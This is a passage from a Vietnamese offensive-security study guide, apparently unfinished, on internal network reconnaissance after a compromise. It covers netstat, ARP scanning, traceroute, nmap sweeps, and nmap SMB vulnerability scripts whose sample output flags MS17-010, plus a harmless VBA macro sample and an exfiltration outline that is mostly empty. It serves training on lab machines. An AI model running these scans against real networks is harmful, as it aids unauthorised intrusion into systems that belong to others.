shin24-Legion-5-1:43700 hkg047s24-in-f1.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:45592 91.118.56.174:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:47674 hkg047s24-in-f10.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:60260 91.118.56.174:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:55798 static.cmcti.vn:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:35234 cache.google.com:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:48512 sin10106-in-f67.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:49830 hkg047s24-in-f222.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43512 hkg047s24-in-f222.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43518 hkg047s24-in-f222.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:38750 a865a1e12bc2c0d65:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:59758 a865a1e12bc2c0d65:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:53731 10.0.67.155 tcp 0 0 shin24-Legion-5-1:8080 10.0.67.10:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:53734 4c2-51-25-208-227:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:60432 hkg07141-in-f10.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43322 hkg12sf9-in-f4.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:38638 hkg07sb2-in-f14.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:45602 10.0.67.10:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:35220 cache.google.com:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:34226 52.124.32.112:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43336 hkg12sf9-in-f4.1e:https ESTABLISHED ``` - Như ví dụ ở trên, attacker sử dụng kết hợp option `-t` để xem các TCP connections trên host hiện tại, attacker có thể thử connect đến các port của các host thu thập được bằng cách công cụ như netcat, telnet nhằm kiểm tra xem có service nào có thể truy cập mà không cần authentication hay không chẳng hạn - netstat có sẵn trên cả windows, macos và linux - **Real Case**: năm 2017 thì WannaCry ransomware đã dựa vào lỗ hổng trong giao thức SMB (một giao thức chia sẽ file, printers) để tự nhân bản và lây lãn giữa các máy tính kết nối SMB với nhau. Nếu ta hack vào được một host, mở netstat lên thấy nó đang kết nối smb với một host khác và version của smb đó bị lỗi thì ta có thể tìm mã khai thác và quất nó luôn ##### Check for running processes - Một trong những việc mà attacker có thể làm tiếp theo đó là kiểm tra các tiến trình đang chạy, cũng giống như các service chạy trên các port thì các tiến trình sẽ chạy với một process id. - Trong linux thì ta có thể truy cập vào tài nguyên của tiến trình bằng cách truy cập vào `/proc/` ![](https://i.imgur.com/OisuqSI.png) - Khi truy cập vào `/proc/self` thì ta đang truy cập vào tài nguyên của process hiện tại, nếu đang truy cập vào bằng terminal và gõ lệnh `ls /proc/self` thì đây sẽ là tài nguyên của tiến trình của chính lệnh `ls` - Với các running processes, attacker có thể sử dụng một số kiểu tấn công để nhắm vào các tiến trình đang chạy trên host: + Process Injection + Parrent Process ID Spoofing + Process Hijacking + Privileges Escalation [TODO: Giải Thích mấy trên] - Ngoài ra việc quan sát ệc quan sát các tiến trình đang chạy cũng cung cấp cho user nhiều thông tin hơn về môi trường của host hiện tại - Ví dụ như khi list ra các tiến trình đang chạy, nếu tìm thấy tiến trình `CExecSvc.exe` đang chạy thì nghĩa là môi trường mà attacker đang tương tác ở bên trong một docker container ![](https://i.imgur.com/JLxLloC.png) ##### Check for installed app - Giống như khi ta đi hack web, ta lợi dụng lỗ hổng của các CMS, plugin, themes, ... để tấn công vào hệ thống thì các installed app trên host của victim cũng chính là một attack surface - Một ví dụ cho điều này, đó là việc lợi dụng các macro-enabled Microsoft Office Word document để phát tán mã độc. Macro là các đoạn script nhỏ (có thể là VBA) được dùng trong các Word document để tự động hóa một số tác vụ, điều này bị lợi dụng bởi kẻ xấu nhằm chèn các script độc hại nhằm thực thi mã từ xa hoặc cài đặt phần mềm gián điệp. Sau đây là một đoạn VBA độc hại có thể được attacker lợi dụng chèn vào Word document: ```vba Sub RunCommand() Dim oShell As Object Set oShell = CreateObject("WScript.Shell") ' Run a command in a Command Prompt window oShell.Run "cmd.exe /c dir c:\" End Sub ``` - Vì Microsoft đã khẳng định đây là một **tính năng**, vì vậy một trong những giải pháp hiệu quả nhất để đối phó đó là nâng cao nhận thức của người dùng - Đứng về vị trí của bên tấn công, attacker có thể lợi dụng các shared resource để chèn macro malware (mã độc sử dụng macro) vào và tranfer nó đến các hệ thống khác hoặc lừa user tải về và thực thi - Một ví dụ khác đó là vào năm 2020, một lỗ hổng của trình quản lý gói `apt` trên linux đã tạo cơ hội cho attacker lợi dụng chạy các câu lệnh OS command với quyền root - Giải pháp để chống lại các cuộc tấn công nhắm vào installed apps nói chung là cập nhật các ứng dụng, chương trình có sẵn thường xuyên #### Mapping network ##### Determining live hosts - Có nhiều cách để xác định live hosts trong một mạng. Một trong số đó là kỹ thuật **ping sweep** đã được đề cập trong phần **tunneling, port forwarding** - Ngoài ra ta còn một số kỹ thuật khác như **ARP Scanning**, **SNMP Scanning**, **DHCP Scanning** ###### Ping Sweep (Đã nói ở phần tunneling) ###### ARP Scanning - ARP (Address Resolution Protocol) là giao thức giúp phân giải các địa chỉ IPv4 dài 32 bit sang địa chỉ MAC dài 48 bit. - Bất cứ khi nào 2 máy trong mạng muốn giao tiếp với nhau, chúng sẽ cần biết địa chỉ MAC của nhau, vì thế đầu tiên máy nguồn sẽ gửi một ARP broardcast đến toàn mạng với **target ip** sẽ là IP của máy cần tìm MAC address - Nếu một máy nhận được broardcast thấy IP của mình trùng với IP cần tìm trong gói ARP, nó phản hồi lại máy nguồn cùng với địa chỉ MAC của mình ![](https://i.imgur.com/Z96jgpp.png) - Để giảm thiểu số gói broadcast được gửi đi, một giải pháp được tạo ra đó là sử dụng **ARP Cache**, đây là một bảng có ở mỗi máy trong mạng chứa các entry gồm các địa chỉ MAC cùng với IP tương ứng đã được lưu trước đó. - Trước khi gửi broardcast thì máy nguồn sẽ nhìn vào cache table của bản thân trước, nếu không có thì mới gửi broadcast để tìm địa chỉ MAC, nếu một máy bất kì nhận được broadcast nó cũng sẽ kiểm tra ARP cache của bản thân để xem trước đó có từng lưu entry của IP này không, nếu có nó sẽ gửi trả về MAC của IP đó. Máy nguồn sau khi nhận được MAC của IP tương ứng cũng sẽ tiến hành lưu lại vào ARP cache cho lần sau - Lợi dụng giao thức này, attacker có thể gửi các ARP broadcast với một dãy các IP, ví dụ `192.168.0.1/24` (scan các IP từ 192.168.0.1 -> 192.168.0.254) để xác định các host trong mạng. Để thực hiện kỹ thuật này ta có thể dùng công cụ `arp-scan` ``` arp-scan 192.168.0.1/24 ``` - ARP còn bị lợi dụng bởi kiểu tấn công **arp spoofing**, khi mà máy của kẻ tấn công gửi về máy nguồn địa chỉ MAC của chính kẻ tấn công, máy nguồn lúc này sẽ tin rằng địa chỉ IP nó đang tìm kiếm có địa chỉ MAC mà kẻ tấn công gửi về, dẫn đến máy nguồn sẽ thực hiện giao tiếp với máy kẻ tấn công và gửi đến các thông tin quan trọng như credentials, ... - Một kiểu tấn công khác đó là ARP poisoning [PHẦN NÀY NÓI TRONG MITM] ###### Traceroute (tracepath) - traceroute là một công cụ cli giúp chẩn đoán mạng dựa vào việc xác định xem từ host nguồn đến host đích thì packet phải đi qua bao nhiêu node mạng - Các node mạng có thể là các device như router, switch, modem, gateway, firewall, ... - Traceroute thường được dùng bởi các network administrator để chẩn đoán sự cố mạng - Ngoài ra traceroute cũng có thể bị lợi dụng bởi attacker để thu thập thêm nhiều thông tin về mạng nội bộ. Bằng cách sử dụ traceroute, attacker có thể xác định thêm nhiều live hosts khác trong mạng, cũng như xác định xem đường truyền từ host hiện tại đến host đích có đi qua firewall nào không, các rule của firewall đó là gì ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/] └──╼ $tracepath 192.168.0.1 1?: [LOCALHOST] pmtu 1500 1: no reply ``` - Cách traceroute hoạt động: + Đầu tiên traceroute sẽ gửi một packet với TTL = 1 đến host đích, packet lúc này được gửi và chạm đến 1 node nào đó (cho là router) và TTL tại đây sẽ được router giảm đi 1 ( lúc này TTL = 0) + Router thấy TTL = 0 rồi nên sẽ hủy đi packet này (node mạng nào mà thấy TTL của một packet bất kì = 0 đều sẽ hủy packet không truyền tiếp nữa) và gửi trả về một gói ICMP Time Exceeded (nếu còn nhớ thì ICMP này thuộc type 11) + Host nguồn nhận được gói ICMP sẽ lấy cái source IP trong gói ICMP trả về đó và nhận biết đó là 1 node mạng (hay 1 hop) + Host nguồn lúc này sẽ tiếp tục gửi một packet khác với TTL = TTL cũ + 1 (lần này là 2) rồi gửi đi tiếp + Packet đi qua con router cũ và TTL bị trừ đi 1 rồi đến node mạng thứ 2 (lần này cho là 1 con firewall), firewall sẽ làm y hệt như con router khi nãy và gửi gói ICMP Time Exceeded về - Attacker lúc này có thể lợi dụng đoạn packet được gửi tới firewall, vì thường nếu firewall chặn một loại packet nào đó thì nó sẽ chặn luôn trước cả khi xử lý cái TTL => dẫn đến không có ICMP Time Exceeded nào được gửi về, packet cũng không chạm tới host đích. - Dựa trên behavior này attacker sẽ gửi các packet khác nhau đến firewall nhằm thu thập thông tin về các ruleset của firewall để từ đó sử dụng các kỹ thuật tunnel nhằm bypass qua nó chẳng hạn ![](https://i.imgur.com/gzI9g1i.png) - Kết quả từ traceroute cũng không phải chính xác 100%, nếu muốn xác nhận firewall thì attacker sẽ cần phải analyze traffic được đi và về (nếu một packet đột nhiên bị drop thì nó sẽ thể hiện trên các công cụ như wireshark) ###### Mass scanning - PingSweep, ARP Scanning là các kỹ thuật giúp attacker tiết kiệm thời gian khi cần thu thập thông tin về các hosts tồn tại trong mạng, một cách khác cần nhiều thời gian và traffic hơn đó chính là scan tất cả các port của một dãy IP. - Thay vì scan tất cả 65535 port, attacker thường sẽ scan top 1000 port của các service thường hay được sử dụng nhất - Bằng cách này attacker có thể đảm bảo thu thập được nhiều thông tin về các host nhất so với các kỹ thuật scanning trước, tuy nhiên có vài nhược điểm: + Mất thời gian + Gửi quá nhiều traffic, dễ bị phát hiện - Với kỹ thuật này thì công cụ nmap là một trong những công cụ đắc lực nhất của các attacker: ``` nmap -T4 --top-ports 1000 192.168.0.1/24 ``` - Ta có thể sử dụng udp scan thay vì tcp nhằm tiết kiệm thời gian hơn và giảm số packet truyền đi ``` sudo nmap -T4 -sU --top-ports 1000 192.168.0.1/24 ``` - Có một cơ chế gọi là port knocking, đây là cơ chế bảo vệ khiến cho một host hay một service trở nên "vô hình" cho đến khi một chuỗi các sự kiện nhất định xảy ra - Cụ thể cách port knocking hoạt động là một firewall sẽ đứng chặn trước (các) service, sẽ không máy nào truy cập được vào service đang chạy ở port này trừ khi một chuỗi các packet theo thứ tự đúng (sequence) được gửi tới. - Sau khi sequence được firewall kiểm tra đúng thì nó sẽ cho phép kết nối được thiết lập đến service đằng sau nó - Một sequence có thể là ví dụ như firewall sẽ yêu cầu ta gửi packet đến port 123, rồi sau đó đến 456, rồi tới 9999, nếu ta làm theo đúng sequence đó thì firewall mới cho ta connect tới serice/device đó - Vậy nếu một số host triển khai port knocking trong mạng thì sao? - Trường hợp này các kỹ thuật recon trước đó của ta sẽ không tìm ra các host này, ta có thể dựa trên netstat để xem có connection nào đang mở đến một host mà không có trong số các host ta thu thập được cùng dãy hay không, khả năng cao nó đã implement port knocking - Tùy vào cách config mà port knocking sẽ chỉ cho phép 1 kết nối duy nhất hoặc nhiều kết nối từ máy đã hit đúng sequence, vì thế ta có thể thử làm một kết nối đến host đó xem sao - Mỗi lần hack được vào thêm một host, attacker có thể sẽ lại kiểm tra các kết nối thông qua `netstat` hoặc thực hiện các kỹ thuật scanning một lần nữa ##### Checking for running services on others hosts - Sau khi vào được mạng nội bộ thông qua các kỹ thuật pivot, một attacker tham lam sẽ muốn tìm ra thêm nhiều attack surface để tiếp tục lợi dụng nhằm đạt được mục đích. - Bên cạnh host hiện tại, các host khác trong mạng với các service chạy trên đó cũng là các attack surface mà attacker có thể lợi dụng để tấn công sâu hơn vào mạng - Một trong những công cụ đắc lực cho công việc này đó là `nmap` ``` nmap -sV -A -p- -T4 192.168.0.124 ``` - Option `-A` (Agressive mode ) của nmap sẽ tương đương với việc sử dụng các options: + **OS detection (-O):** chẩn đoán thông tin về phiên bản hệ điều hành sử dụng thông qua các packet trả về + **Version detection (-sV):** nmap sẽ cố gắng sử dụng các pattern có sẵn để nhận diện các packet từ service đang scan nhằm xác định version của service đó. Từ đây attacker có thể thử tấn công vào service này thông qua các lỗ hổng đã biết hoặc zero-day dựa vào version này. Một fact đó là ta có thể xem được các pattern mà nmap dùng để nhận diện version của các service trong file `/usr/share/nmap/nmap-service-probes` ![](https://i.imgur.com/gO2bTUW.png) + **script scanning (-sC)**: sử dụng các common nse script để scan các service nhằm thu thập thông tin config hoặc kiểm tra lỗ hổng + **traceroute (--traceroute)**: kiểm tra xem từ host nguồn đến host đích sẽ đi qua các node mạng nào (gateway, router, ...) - Sau khi tìm ra các service đang chạy trên host đích, ta có thể sử dụng các nse được tích hợp trong nmap để thu thập thông tin config từ service cũng như kiểm tra các lỗi bảo mật đã biết - Ví dụ ta biết host đích đang chạy SMB trên port 445 thì ta có thể thử dùng các script SMB của nmap: ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/Downloads] └──╼ $ls /usr/share/nmap/scripts/ | grep smb smb2-capabilities.nse smb2-security-mode.nse smb2-time.nse smb2-vuln-uptime.nse smb-brute.nse smb-double-pulsar-backdoor.nse smb-enum-domains.nse smb-enum-groups.nse smb-enum-processes.nse smb-enum-services.nse smb-enum-sessions.nse smb-enum-shares.nse smb-enum-users.nse smb-flood.nse smb-ls.nse smb-mbenum.nse smb-os-discovery.nse smb-print-text.nse smb-protocols.nse smb-psexec.nse smb-security-mode.nse smb-server-stats.nse smb-system-info.nse smb-vuln-conficker.nse smb-vuln-cve2009-3103.nse smb-vuln-cve-2017-7494.nse smb-vuln-ms06-025.nse smb-vuln-ms07-029.nse smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse smb-vuln-ms17-010.nse smb-vuln-regsvc-dos.nse smb-vuln-webexec.nse smb-webexec-exploit.nse ``` - Tên của các file trên cũng là tên của các nse script trong nmap ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/Downloads] └──╼ $nmap --script smb-vuln-* -p 445 192.168.0.124 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 15:33 +07 Nmap scan report for 192.168.0.124 Host is up (0.018s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug) | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx Nmap done: 1 IP address (1 host up) scanned in 5.49 seconds ``` - Như trong kết quả trên nmap đã scan ra 2 lỗ hổng trong SMB đó là **ms17-010** và **ms08-067** - Bên cạnh đó thì đôi khi, các SMB sẽ được config để chấp nhận **null authentication** và ta có thể login vào mà không cần credentials nào. - Để kiểm tra ta có thể dùng các script như `smbmap`, `smbclient` - Tương tự với các service khác, luôn thử kết nối trực tiếp hoặc xem service đó có thể được config để chấp nhận việc truy cập mà không cần credentials không (hoặc là default credentials) - Như ftp, ftp có một config đó là anonymous login, khiến cho attacker có thể sử dụng user `anonymous` để login mà không cần mật khẩu, dẫn đến attacker đọc được các file được chia sẽ qua ftp ##### Check for shared resources - Thường trong các mạng nội bộ, các host sẽ có nhu cầu chia sẽ các file, printers, ... với nhau - Ví dụ như một công ty thì các phòng ban thường sẽ chia sẽ file trong mạng nội bộ thay vì gửi mail chẳng hạn, họ cũng sẽ có nhu cầu chia sẽ máy in (thông qua SMB) để các phòng ban có thể cùng sử dụng một máy in chung - Đây đều là những thông tin giá trị, thông qua các shared resources attacker có thể lấy được rất nhiều các thông tin mật quan trọng của tổ chức, công ty đó - Hoặc attacker có thể chèn vào các mã độc và chia sẽ nó dưới dạng các tài liệu (như việc sử dụng macro trong word document) để đánh lừa user chạy các đoạn mã độc hại nhằm tấn công lây lan sang các host khác - Các shared resources cũng là các kênh để attacker transfer các công cụ, mã độc qua các host khác nhau nhằm trích xuất thông tin (mimikatz), scan các phần mạng (nmap), leo thang đặc quyền (dirtycow), ... - Trong windows ta có một loại đường dẫn gọi là **UNC path**, giả sử một máy có ip 10.0.8.14 có share một file secret.docx trong thư mục secrets thì từ một máy khác ta có thể sử dụng đường dẫn `\\10.0.8.14\\secrets\\secrets.docx` - Attacker cũng có thể lợi dụng UNC path nhằm chia sẽ một mã khai thác, một công cụ tấn công nào đó và truy cập vào nó từ một host khác thông qua UNC path nhằm transfer nó qua các host khác nhau - Để ngăn chặn các cuộc tấn công như thế này có nhiều giải pháp như: + encrypt các file được chia sẽ + cẩn thận với bất cứ file nào tải về từ các shared resources, scan malware first + sử dụng authentication + ... [PHẦN NÀY TA CÓ THỂ NÓI THÊM VỀ CÁI ANONYMOUS LOGIN CỦA FTP HOẶC NULL SESSION CỦA SMB] #### Conclude the surface scanning - Tóm lại ở phần này ta đã đi qua các kỹ thuật mà attacker có thể sử dụng để do thám mạng nội bộ - Mỗi khi chiếm được thêm một host mới, attacker sẽ tiếp tục lặp lại các kỹ thuật trong phần **Testing current host** để tiếp tục tìm cơ hội tấn công vào các host khác hoặc leo thang đặc quyền nhằm tiếp cận vào các thông tin giá trị ### Data Exfiltration - Đây gần như là mục đích của mọi cuộc tấn công APT, khi attacker xâm nhập vào một hệ thống, hắn luôn muốn lấy đi thứ gì đó giá trị (thường là thông tin về các hợp đồng, báo cáo, tài liệu mật) nhằm bán lại, tống tiền, ... - Vấn đề là hắn cần xác định xem thứ mà hắn muốn lấy nằm ở đâu và làm sao để vận chuyển nó ra bên ngoài - Ta sẽ tạm chia thành 2 vấn đề là Extracting và Transfering #### Extracting ##### Thông tin thường lưu ở đâu - Tùy vào loại thông tin mà nó sẽ được lưu ở các vị trí khác nhau, ví dụ như thông tin nhân viên thì có thể được lưu trong một máy chủ cơ sở dữ liệu, trong một file excel ở các máy trong phòng ban nhân sự, ... - Các thông tin giá trị thường nằm ở: + Email + Database + Files + Cloud + ... ##### mimikatz - Một trong các kỹ thuật đã được nhắc đến trong phần password attack đó là trích xuất credentials từ máy victim thông qua việc debug memory của tiến trình `lsass.exe` - ##### From logs ##### Malware - audio capture - keylogging - screen capture - clipboard ##### From Cloud ##### From Email ##### From local files/shared resources #### Transfering ##### Tunneling ##### Size limit ##### Encryption ##### Schedualed transfer ##### Transfer to cloud ##### Gom data vào một vị trí hoặc đặt tên theo 1 dấu hiệu nhất định để download 1 thể ## Một số machines để practice: - Responder - Legacy - Granny - Helpline - Opensource -